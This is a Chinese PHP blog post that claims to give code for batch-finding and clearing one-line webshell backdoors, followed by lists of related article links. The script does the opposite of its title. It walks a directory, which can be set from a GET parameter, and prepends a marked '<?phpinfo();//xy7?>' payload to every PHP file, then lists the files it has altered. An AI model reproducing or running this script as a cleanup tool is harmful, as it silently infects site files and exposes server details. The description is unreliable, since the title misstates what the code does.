用php实现批量查询清除一句话后门的代码


Posted in PHP onJanuary 20, 2008

总是忘记一句话放到哪个文件里去了,直接全部干掉...

<?//xy7  
if (!isset($dir) or empty($dir)) {  
$dir=str_replace('\\','/',dirname(__FILE__));  
echo "<font color=\"#00688B\">".$dir."</font>";  
} else {  
$dir=$_GET['dir'];  
echo "<font color=\"#00688B\">".$dir."</font>";  
}  
$evilcode="<?phpinfo();//xy7?>";  
$testdir = opendir($dir);  
while($filea = @readdir($testdir)){  
if(strstr($filea, '.php')){  
$fp = @fopen($filea, 'r+');  
if (!strstr(@fread($fp, 20), 'xy7')){  
rewind($fp);  
$old = @fread($fp, filesize($filea));  
rewind($fp);  
fwrite($fp, $evilcode . $old);  
}  
fclose($fp);  
}  
}  
closedir($testdir);  
?>  
<hr>  
<table width="100%" border="0" cellpadding="3" cellspacing="1">  
<tr>  
<td><b>被X的文件</b></td>  
<td><b>时间</b></td>  
<td><b>大小</b></td>  
</tr>  
<?php  
$dirs=@opendir($dir);  
while ($file=@readdir($dirs)) {  
if ((is_file($file)) and (ereg("\.php{0,1}$",$file)))  
{$b="$dir/$file";  
$a=@is_dir($b);  
if($a=="0"){  
$size=@filesize("$dir/$file");  
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file"));  
echo "<tr>\n";  
echo "<td>$file</td>\n";  
echo " <td>$lastsave</td>\n";  
echo " <td>$size Bytes</td>\n";  
}  
}  
}  
@closedir($dirs);  
?>  
</table> 
codz by xuanmumu 
PHP 相关文章推荐
将数组写入txt文件 var_export
Apr 21 PHP
使用php发送有附件的电子邮件-(PHPMailer使用的实例分析)
Apr 26 PHP
linux实现php定时执行cron任务详解
Dec 24 PHP
PHP fastcgi模式上传大文件(大约有300多K)报错
Sep 28 PHP
纯php生成随机密码
Oct 30 PHP
两种php去除二维数组的重复项方法
Nov 04 PHP
基于PHP实现通过照片获取ip地址
Apr 26 PHP
PHP基于mssql扩展远程连接MSSQL的简单实现方法
Oct 08 PHP
PHP获取IP地址所在地信息的实例(使用纯真IP数据库qqwry.dat)
Nov 15 PHP
php过滤输入操作之htmlentities与htmlspecialchars用法分析
Feb 17 PHP
php源码的使用方法讲解
Sep 26 PHP
TP5(thinkPHP5)框架使用ajax实现与后台数据交互的方法小结
Feb 10 PHP
asp和php下textarea提交大量数据发生丢失的解决方法
Jan 20 #PHP
php开发工具之vs2005图解
Jan 12 #PHP
java EJB 加密与解密原理的一个例子
Jan 11 #PHP
apache rewrite_module模块使用教程
Jan 10 #PHP
支持php4、php5的mysql数据库操作类
Jan 10 #PHP
让PHP支持页面回退的两种方法
Jan 10 #PHP
php下使用SMTP发邮件的代码
Jan 10 #PHP
You might like
PHP+jquery+CSS制作头像登录窗(仿QQ登陆)
2016/10/20 PHP
PHP调用全国天气预报数据接口查询天气示例
2019/02/20 PHP
CentOS7编译安装php7.1的教程详解
2019/04/18 PHP
ThinkPHP5与单元测试PHPUnit使用详解
2020/02/23 PHP
一个基于jQuery的树型插件(OrangeTree)使用介绍
2012/05/03 Javascript
JS添加删除一组文本框并对输入信息加以验证判断其正确性
2013/04/11 Javascript
javascript记录文本框内文字个数检测文字个数变化
2014/10/14 Javascript
js实现简单鼠标跟随效果的方法
2015/04/10 Javascript
javascript简单实现类似QQ头像弹出效果的方法
2015/08/03 Javascript
JS+CSS实现鼠标经过弹出一个DIV框完整实例(带缓冲动画渐变效果)
2016/03/25 Javascript
Bootstrap项目实战之首页内容介绍(全)
2016/04/25 Javascript
分享JavaScript监听全部Ajax请求事件的方法
2016/08/28 Javascript
vue.js利用defineProperty实现数据的双向绑定
2017/04/28 Javascript
JS实现上传图片实时预览功能
2017/05/22 Javascript
ckeditor一键排版功能实现方法分析
2020/02/06 Javascript
使用element-ui +Vue 解决 table 里包含表单验证的问题
2020/07/17 Javascript
给Python入门者的一些编程建议
2015/06/15 Python
Python基于PycURL自动处理cookie的方法
2015/07/25 Python
解析Python中的__getitem__专有方法
2016/06/27 Python
Python守护线程用法实例
2017/06/23 Python
Python批量合并有合并单元格的Excel文件详解
2018/04/05 Python
利用Python如何将数据写到CSV文件中
2018/06/05 Python
python实现括号匹配的思路详解
2018/08/23 Python
Pytorch在dataloader类中设置shuffle的随机数种子方式
2020/01/14 Python
150行Python代码实现带界面的数独游戏
2020/04/04 Python
不到20行实现Python代码即可制作精美证件照
2020/04/24 Python
python中K-means算法基础知识点
2021/01/25 Python
CSS3五个技巧给你的网站带来出色的效果
2009/04/02 HTML / CSS
CSS3标注引用的出处和来源的方法
2020/02/25 HTML / CSS
泰国演唱会订票网站:StubHub泰国
2018/02/26 全球购物
料理师求职信
2014/01/30 职场文书
保险公司演讲稿
2014/09/02 职场文书
小学生自我评价100字(15篇)
2014/09/18 职场文书
关于对大人不礼貌的检讨书
2014/09/29 职场文书
颐和园英文导游词
2015/01/30 职场文书
公司行政管理制度范本
2015/08/05 职场文书